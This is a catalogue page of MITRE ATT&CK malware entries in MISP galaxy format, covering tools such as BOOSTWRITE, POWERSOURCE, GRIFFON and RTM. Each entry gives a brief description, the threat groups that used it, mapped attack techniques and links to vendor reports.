uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
BOOSTWRITE - S0415
[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)
The tag is: misp-galaxy:mitre-malware="BOOSTWRITE - S0415"
BOOSTWRITE - S0415 is also known as:
-
BOOSTWRITE
BOOSTWRITE - S0415 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
POWERSOURCE - S0145
[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)
The tag is: misp-galaxy:mitre-malware="POWERSOURCE - S0145"
POWERSOURCE - S0145 is also known as:
-
POWERSOURCE
-
DNSMessenger
POWERSOURCE - S0145 has relationships with:
-
similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
TEXTMATE - S0146
[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)
The tag is: misp-galaxy:mitre-malware="TEXTMATE - S0146"
TEXTMATE - S0146 is also known as:
-
TEXTMATE
-
DNSMessenger
TEXTMATE - S0146 has relationships with:
-
similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
RDFSNIFFER - S0416
[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)
The tag is: misp-galaxy:mitre-malware="RDFSNIFFER - S0416"
RDFSNIFFER - S0416 is also known as:
-
RDFSNIFFER
RDFSNIFFER - S0416 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
Links |
TDTESS - S0164
[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)
The tag is: misp-galaxy:mitre-malware="TDTESS - S0164"
TDTESS - S0164 is also known as:
-
TDTESS
TDTESS - S0164 has relationships with:
-
similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf |
GRIFFON - S0417
[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)
The tag is: misp-galaxy:mitre-malware="GRIFFON - S0417"
GRIFFON - S0417 is also known as:
-
GRIFFON
GRIFFON - S0417 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/ |
Pteranodon - S0147
[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)
The tag is: misp-galaxy:mitre-malware="Pteranodon - S0147"
Pteranodon - S0147 is also known as:
-
Pteranodon
Pteranodon - S0147 has relationships with:
-
similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
POWRUNER - S0184
[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)
The tag is: misp-galaxy:mitre-malware="POWRUNER - S0184"
POWRUNER - S0184 is also known as:
-
POWRUNER
POWRUNER - S0184 has relationships with:
-
similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
RTM - S0148
[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)
The tag is: misp-galaxy:mitre-malware="RTM - S0148"
RTM - S0148 is also known as:
-
RTM
RTM - S0148 has relationships with:
-
similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
MoonWind - S0149
[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)
The tag is: misp-galaxy:mitre-malware="MoonWind - S0149"
MoonWind - S0149 is also known as:
-
MoonWind
MoonWind - S0149 has relationships with:
-
similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
Links |
WINDSHIELD - S0155
[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)
The tag is: misp-galaxy:mitre-malware="WINDSHIELD - S0155"
WINDSHIELD - S0155 is also known as:
-
WINDSHIELD
WINDSHIELD - S0155 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
KOMPROGO - S0156
[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)
The tag is: misp-galaxy:mitre-malware="KOMPROGO - S0156"
KOMPROGO - S0156 is also known as:
-
KOMPROGO
KOMPROGO - S0156 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
OSInfo - S0165
[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim’s computer and network. (Citation: Symantec Buckeye)
The tag is: misp-galaxy:mitre-malware="OSInfo - S0165"
OSInfo - S0165 is also known as:
-
OSInfo
OSInfo - S0165 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
SOUNDBITE - S0157
[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)
The tag is: misp-galaxy:mitre-malware="SOUNDBITE - S0157"
SOUNDBITE - S0157 is also known as:
-
SOUNDBITE
SOUNDBITE - S0157 has relationships with:
-
similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
SEASHARPEE - S0185
[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)
The tag is: misp-galaxy:mitre-malware="SEASHARPEE - S0185"
SEASHARPEE - S0185 is also known as:
-
SEASHARPEE
SEASHARPEE - S0185 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east |
PHOREAL - S0158
[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)
The tag is: misp-galaxy:mitre-malware="PHOREAL - S0158"
PHOREAL - S0158 is also known as:
-
PHOREAL
PHOREAL - S0158 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
SNUGRIDE - S0159
[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)
The tag is: misp-galaxy:mitre-malware="SNUGRIDE - S0159"
SNUGRIDE - S0159 is also known as:
-
SNUGRIDE
SNUGRIDE - S0159 has relationships with:
-
similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
RemoteCMD - S0166
[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)
The tag is: misp-galaxy:mitre-malware="RemoteCMD - S0166"
RemoteCMD - S0166 is also known as:
-
RemoteCMD
RemoteCMD - S0166 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
Matroyshka - S0167
[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)
The tag is: misp-galaxy:mitre-malware="Matroyshka - S0167"
Matroyshka - S0167 is also known as:
-
Matroyshka
Matroyshka - S0167 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Wingbird - S0176
[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)
The tag is: misp-galaxy:mitre-malware="Wingbird - S0176"
Wingbird - S0176 is also known as:
-
Wingbird
Wingbird - S0176 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
DownPaper - S0186
[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)
The tag is: misp-galaxy:mitre-malware="DownPaper - S0186"
DownPaper - S0186 is also known as:
-
DownPaper
DownPaper - S0186 has relationships with:
-
similar: misp-galaxy:malpedia="DownPaper" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
